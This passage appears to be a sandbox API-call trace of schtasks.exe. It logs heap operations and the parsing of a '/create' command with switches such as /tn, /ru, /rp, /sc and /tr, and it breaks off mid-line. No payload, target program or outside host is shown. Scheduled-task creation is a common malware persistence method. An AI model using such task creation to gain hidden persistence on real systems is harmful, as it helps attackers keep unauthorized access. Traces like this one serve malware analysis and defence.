HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3b60) returned 1 [0129.243] GetProcessHeap () returned 0x2a3f45b0000 [0129.243] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3b60) returned 0x8 [0129.243] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3b60) returned 1 [0129.243] GetProcessHeap () returned 0x2a3f45b0000 [0129.243] GetProcessHeap () returned 0x2a3f45b0000 [0129.243] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bba70) returned 1 [0129.243] GetProcessHeap () returned 0x2a3f45b0000 [0129.243] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bba70) returned 0x20 [0129.244] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bba70) returned 1 [0129.244] GetProcessHeap () returned 0x2a3f45b0000 [0129.244] GetProcessHeap () returned 0x2a3f45b0000 [0129.244] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba870) returned 1 [0129.244] GetProcessHeap () returned 0x2a3f45b0000 [0129.245] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba870) returned 0xe [0129.245] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba870) returned 1 [0129.245] GetProcessHeap () returned 0x2a3f45b0000 [0129.245] GetProcessHeap () returned 0x2a3f45b0000 [0129.245] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb6e0) returned 1 [0129.245] GetProcessHeap () returned 0x2a3f45b0000 [0129.245] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb6e0) returned 0x20 [0129.246] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb6e0) returned 1 [0129.246] GetProcessHeap () returned 0x2a3f45b0000 [0129.246] GetProcessHeap () returned 0x2a3f45b0000 [0129.246] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3b80) returned 1 [0129.246] GetProcessHeap () returned 0x2a3f45b0000 [0129.246] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3b80) returned 0x8 [0129.247] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3b80) returned 1 [0129.247] GetProcessHeap () returned 0x2a3f45b0000 [0129.247] GetProcessHeap () returned 0x2a3f45b0000 [0129.247] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb9b0) returned 1 [0129.247] GetProcessHeap () returned 0x2a3f45b0000 [0129.247] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb9b0) returned 0x20 [0129.248] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb9b0) returned 1 [0129.248] GetProcessHeap () returned 0x2a3f45b0000 [0129.248] GetProcessHeap () returned 0x2a3f45b0000 [0129.248] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3ba0) returned 1 [0129.248] GetProcessHeap () returned 0x2a3f45b0000 [0129.248] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3ba0) returned 0x6 [0129.248] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3ba0) returned 1 [0129.248] GetProcessHeap () returned 0x2a3f45b0000 [0129.248] GetProcessHeap () returned 0x2a3f45b0000 [0129.249] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb950) returned 1 [0129.249] GetProcessHeap () returned 0x2a3f45b0000 [0129.249] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb950) returned 0x20 [0129.249] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb950) returned 1 [0129.250] GetProcessHeap () returned 0x2a3f45b0000 [0129.250] GetProcessHeap () returned 0x2a3f45b0000 [0129.250] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3bc0) returned 1 [0129.250] GetProcessHeap () returned 0x2a3f45b0000 [0129.250] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3bc0) returned 0x8 [0129.250] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3bc0) returned 1 [0129.250] GetProcessHeap () returned 0x2a3f45b0000 [0129.250] GetProcessHeap () returned 0x2a3f45b0000 [0129.250] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb5c0) returned 1 [0129.250] GetProcessHeap () returned 0x2a3f45b0000 [0129.250] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb5c0) returned 0x20 [0129.251] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb5c0) returned 1 [0129.251] GetProcessHeap () returned 0x2a3f45b0000 [0129.251] GetProcessHeap () returned 0x2a3f45b0000 [0129.251] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3c50) returned 1 [0129.251] GetProcessHeap () returned 0x2a3f45b0000 [0129.251] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3c50) returned 0x62 [0129.252] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3c50) returned 1 [0129.252] GetProcessHeap () returned 0x2a3f45b0000 [0129.252] GetProcessHeap () returned 0x2a3f45b0000 [0129.252] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb770) returned 1 [0129.252] GetProcessHeap () returned 0x2a3f45b0000 [0129.252] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb770) returned 0x20 [0129.253] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb770) returned 1 [0129.253] GetProcessHeap () returned 0x2a3f45b0000 [0129.253] GetProcessHeap () returned 0x2a3f45b0000 [0129.253] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bbcc0) returned 1 [0129.254] GetProcessHeap () returned 0x2a3f45b0000 [0129.254] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bbcc0) returned 0x8 [0129.254] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bbcc0) returned 1 [0129.254] GetProcessHeap () returned 0x2a3f45b0000 [0129.254] GetProcessHeap () returned 0x2a3f45b0000 [0129.254] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb2f0) returned 1 [0129.254] GetProcessHeap () returned 0x2a3f45b0000 [0129.254] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb2f0) returned 0x20 [0129.255] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb2f0) returned 1 [0129.255] GetProcessHeap () returned 0x2a3f45b0000 [0129.256] GetProcessHeap () returned 0x2a3f45b0000 [0129.256] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba890) returned 1 [0129.256] GetProcessHeap () returned 0x2a3f45b0000 [0129.257] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba890) returned 0x10 [0129.257] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba890) returned 1 [0129.257] GetProcessHeap () returned 0x2a3f45b0000 [0129.257] GetProcessHeap () returned 0x2a3f45b0000 [0129.257] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb7a0) returned 1 [0129.257] GetProcessHeap () returned 0x2a3f45b0000 [0129.257] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb7a0) returned 0x20 [0129.258] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb7a0) returned 1 [0129.258] GetProcessHeap () returned 0x2a3f45b0000 [0129.258] GetProcessHeap () returned 0x2a3f45b0000 [0129.258] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bbce0) returned 1 [0129.258] GetProcessHeap () returned 0x2a3f45b0000 [0129.258] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bbce0) returned 0x6 [0129.258] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bbce0) returned 1 [0129.258] GetProcessHeap () returned 0x2a3f45b0000 [0129.259] GetProcessHeap () returned 0x2a3f45b0000 [0129.259] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb9e0) returned 1 [0129.259] GetProcessHeap () returned 0x2a3f45b0000 [0129.259] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb9e0) returned 0x20 [0129.259] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb9e0) returned 1 [0129.260] GetProcessHeap () returned 0x2a3f45b0000 [0129.260] GetProcessHeap () returned 0x2a3f45b0000 [0129.260] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4a60) returned 1 [0129.260] GetProcessHeap () returned 0x2a3f45b0000 [0129.260] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4a60) returned 0x18 [0129.260] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4a60) returned 1 [0129.261] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.261] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0129.261] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0129.261] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0129.261] RtlVerifyVersionInfo (VersionInfo=0xed002ac0d0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0129.262] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.262] lstrlenW (lpString="create") returned 6 [0129.262] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0129.262] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.264] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.264] lstrlenW (lpString="create") returned 6 [0129.264] GetProcessHeap () returned 0x2a3f45b0000 [0129.264] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb710 [0129.264] GetProcessHeap () returned 0x2a3f45b0000 [0129.264] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45ba910 [0129.264] _memicmp (_Buf1=0x2a3f45ba910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.264] GetProcessHeap () returned 0x2a3f45b0000 [0129.264] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x16) returned 0x2a3f45bab70 [0129.264] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.264] _memicmp (_Buf1=0x2a3f45b4850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.265] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2a3f45b96e0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0129.265] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xed002ac228 | out: lpdwHandle=0xed002ac228) returned 0x76c [0129.265] GetProcessHeap () returned 0x2a3f45b0000 [0129.265] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x776) returned 0x2a3f45bbcc0 [0129.266] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2a3f45bbcc0 | out: lpData=0x2a3f45bbcc0) returned 1 [0129.266] VerQueryValueW (in: pBlock=0x2a3f45bbcc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xed002ac1c0, puLen=0xed002ac220 | out: lplpBuffer=0xed002ac1c0*=0x2a3f45bc070, puLen=0xed002ac220) returned 1 [0129.266] _memicmp (_Buf1=0x2a3f45b4850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.266] _vsnwprintf (in: _Buffer=0x2a3f45b96e0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xed002ac198 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.266] VerQueryValueW (in: pBlock=0x2a3f45bbcc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xed002ac1b0, puLen=0xed002ac218 | out: lplpBuffer=0xed002ac1b0*=0x2a3f45bbea0, puLen=0xed002ac218) returned 1 [0129.266] lstrlenW (lpString="schtasks.exe") returned 12 [0129.266] lstrlenW (lpString="schtasks.exe") returned 12 [0129.267] lstrlenW (lpString=".EXE") returned 4 [0129.267] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.267] lstrlenW (lpString="schtasks.exe") returned 12 [0129.267] lstrlenW (lpString=".EXE") returned 4 [0129.267] lstrlenW (lpString="schtasks") returned 8 [0129.267] lstrlenW (lpString="/create") returned 7 [0129.267] _memicmp (_Buf1=0x2a3f45b4850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.267] _vsnwprintf (in: _Buffer=0x2a3f45b96e0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xed002ac198 | out: _Buffer="schtasks /create") returned 16 [0129.267] _memicmp (_Buf1=0x2a3f45b2120, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.267] GetProcessHeap () returned 0x2a3f45b0000 [0129.267] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb770 [0129.267] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.268] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.268] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.268] GetProcessHeap () returned 0x2a3f45b0000 [0129.268] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x30) returned 0x2a3f45b3c50 [0129.268] _vsnwprintf (in: _Buffer=0x2a3f45b4290, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xed002ac198 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0129.268] GetProcessHeap () returned 0x2a3f45b0000 [0129.268] GetProcessHeap () returned 0x2a3f45b0000 [0129.268] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bbcc0) returned 1 [0129.268] GetProcessHeap () returned 0x2a3f45b0000 [0129.268] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bbcc0) returned 0x776 [0129.269] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bbcc0) returned 1 [0129.269] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.269] GetThreadLocale () returned 0x409 [0129.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.269] lstrlenW (lpString="create") returned 6 [0129.269] GetThreadLocale () returned 0x409 [0129.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.269] lstrlenW (lpString="?") returned 1 [0129.269] GetThreadLocale () returned 0x409 [0129.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.269] lstrlenW (lpString="s") returned 1 [0129.270] GetThreadLocale () returned 0x409 [0129.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.270] lstrlenW (lpString="u") returned 1 [0129.270] GetThreadLocale () returned 0x409 [0129.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.270] lstrlenW (lpString="p") returned 1 [0129.270] GetThreadLocale () returned 0x409 [0129.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.270] lstrlenW (lpString="ru") returned 2 [0129.270] GetThreadLocale () returned 0x409 [0129.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.270] lstrlenW (lpString="rp") returned 2 [0129.270] GetThreadLocale () returned 0x409 [0129.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.270] lstrlenW (lpString="sc") returned 2 [0129.271] GetThreadLocale () returned 0x409 [0129.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.271] lstrlenW (lpString="mo") returned 2 [0129.271] GetThreadLocale () returned 0x409 [0129.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.271] lstrlenW (lpString="d") returned 1 [0129.271] GetThreadLocale () returned 0x409 [0129.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.271] lstrlenW (lpString="m") returned 1 [0129.271] GetThreadLocale () returned 0x409 [0129.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.271] lstrlenW (lpString="i") returned 1 [0129.271] GetThreadLocale () returned 0x409 [0129.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.271] lstrlenW (lpString="tn") returned 2 [0129.272] GetThreadLocale () returned 0x409 [0129.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.272] lstrlenW (lpString="tr") returned 2 [0129.272] GetThreadLocale () returned 0x409 [0129.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.272] lstrlenW (lpString="st") returned 2 [0129.272] GetThreadLocale () returned 0x409 [0129.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.272] lstrlenW (lpString="sd") returned 2 [0129.272] GetThreadLocale () returned 0x409 [0129.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.272] lstrlenW (lpString="ed") returned 2 [0129.272] GetThreadLocale () returned 0x409 [0129.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.272] lstrlenW (lpString="it") returned 2 [0129.273] GetThreadLocale () returned 0x409 [0129.273] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.273] lstrlenW (lpString="et") returned 2 [0129.273] GetThreadLocale () returned 0x409 [0129.273] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.273] lstrlenW (lpString="k") returned 1 [0129.273] GetThreadLocale () returned 0x409 [0129.273] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.273] lstrlenW (lpString="du") returned 2 [0129.273] GetThreadLocale () returned 0x409 [0129.273] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.273] lstrlenW (lpString="ri") returned 2 [0129.273] GetThreadLocale () returned 0x409 [0129.273] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.274] lstrlenW (lpString="z") returned 1 [0129.274] GetThreadLocale () returned 0x409 [0129.274] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.274] lstrlenW (lpString="f") returned 1 [0129.274] GetThreadLocale () returned 0x409 [0129.274] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.274] lstrlenW (lpString="v1") returned 2 [0129.274] GetThreadLocale () returned 0x409 [0129.274] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.274] lstrlenW (lpString="xml") returned 3 [0129.274] GetThreadLocale () returned 0x409 [0129.274] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.274] lstrlenW (lpString="ec") returned 2 [0129.274] GetThreadLocale () returned 0x409 [0129.275] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.275] lstrlenW (lpString="rl") returned 2 [0129.275] GetThreadLocale () returned 0x409 [0129.275] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.275] lstrlenW (lpString="delay") returned 5 [0129.275] GetThreadLocale () returned 0x409 [0129.275] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.275] lstrlenW (lpString="np") returned 2 [0129.275] GetThreadLocale () returned 0x409 [0129.275] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.275] lstrlenW (lpString="hresult") returned 7 [0129.275] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.275] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.275] lstrlenW (lpString="/create") returned 7 [0129.275] lstrlenW (lpString="-/") returned 2 [0129.276] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.276] lstrlenW (lpString="create") returned 6 [0129.276] lstrlenW (lpString="create") returned 6 [0129.276] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.276] lstrlenW (lpString="create") returned 6 [0129.276] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.276] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.276] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.276] lstrlenW (lpString="|create|") returned 8 [0129.276] lstrlenW (lpString="|create|") returned 8 [0129.276] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.276] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.276] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.276] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.276] lstrlenW (lpString="/tn") returned 3 [0129.276] lstrlenW (lpString="-/") returned 2 [0129.276] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.276] lstrlenW (lpString="create") returned 6 [0129.277] lstrlenW (lpString="create") returned 6 [0129.277] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.277] lstrlenW (lpString="tn") returned 2 [0129.277] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.277] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.277] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.277] lstrlenW (lpString="|create|") returned 8 [0129.277] lstrlenW (lpString="|tn|") returned 4 [0129.277] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.277] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.277] lstrlenW (lpString="?") returned 1 [0129.277] lstrlenW (lpString="?") returned 1 [0129.277] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.277] lstrlenW (lpString="tn") returned 2 [0129.277] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.348] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|?|") returned 3 [0129.348] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.348] lstrlenW (lpString="|?|") returned 3 [0129.348] lstrlenW (lpString="|tn|") returned 4 [0129.348] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.348] lstrlenW (lpString="s") returned 1 [0129.348] lstrlenW (lpString="s") returned 1 [0129.348] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.348] lstrlenW (lpString="tn") returned 2 [0129.348] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.348] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|s|") returned 3 [0129.349] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.349] lstrlenW (lpString="|s|") returned 3 [0129.349] lstrlenW (lpString="|tn|") returned 4 [0129.349] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.349] lstrlenW (lpString="u") returned 1 [0129.349] lstrlenW (lpString="u") returned 1 [0129.349] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.349] lstrlenW (lpString="tn") returned 2 [0129.349] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.349] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|u|") returned 3 [0129.349] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.349] lstrlenW (lpString="|u|") returned 3 [0129.349] lstrlenW (lpString="|tn|") returned 4 [0129.349] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.349] lstrlenW (lpString="p") returned 1 [0129.349] lstrlenW (lpString="p") returned 1 [0129.349] _memicmp (_Buf1=0x2a3f45b4380, 